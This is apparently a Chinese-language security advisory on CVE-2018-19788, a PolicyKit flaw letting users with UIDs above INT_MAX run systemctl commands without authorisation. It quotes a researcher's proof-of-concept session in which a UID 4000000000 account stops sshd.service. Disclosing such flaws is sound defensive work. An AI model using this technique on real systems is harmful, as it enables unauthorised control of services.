CVE-2018-19788:UID大於INT_MAX的Linux使用者任意程式碼執行漏洞
Linux作業系統中UID值大於2147483647的低許可權賬戶可以未授權執行任意systemctl命令。該漏洞存在於PolicyKit(polkit)中,PolicyKit是類Unix作業系統中定義策略、處理系統範圍內許可權和提供給非特權程序與特權程序通訊方式的應用級工具集,比如sudo。
該漏洞CVE編號為 ofollow,noindex">CVE-2018-19788 ,影響PolicyKit v0.115版本,這是大多數主流Linux發行版中預裝的版本,其中包括 Red Hat , Debian , Ubuntu 和CentOS。
漏洞是因為PolicyKit沒有UID大於INT_MAX的低許可權使用者的許可權請求進行適當的驗證。INT_MAX是計算機程式中用於定義整數變數可以儲存的最大值的常量,等於2147483647,十六進位制表示為0x7FFFFFFF。
也就是說,如果使用者在受影響的Linux作業系統中建立了UID大於INT_MAX值的使用者賬戶,攻擊者就可以利用PolicyKit元件來執行任意的systemctl命令。
$ systemctl --version systemd 239 +PAM +AUDIT -SELINUX +IMA +APPARMOR +SMACK -SYSVINIT +UTMP -LIBCRYPTSETUP +GCRYPT -GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID -ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
$ id uid=4000000000(someuser) gid=100(users) groups=100(users) $ systemctl stop sshd.service (pkttyagent:3342): GLib-GObject-WARNING **: 13:28:53.802: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) $ systemctl is-active sshd.service inactive
安全研究人員Rich Mirch(Twitter @ 0xm1rch )釋出了該漏洞的PoC,用UID 4000000000證明了該漏洞。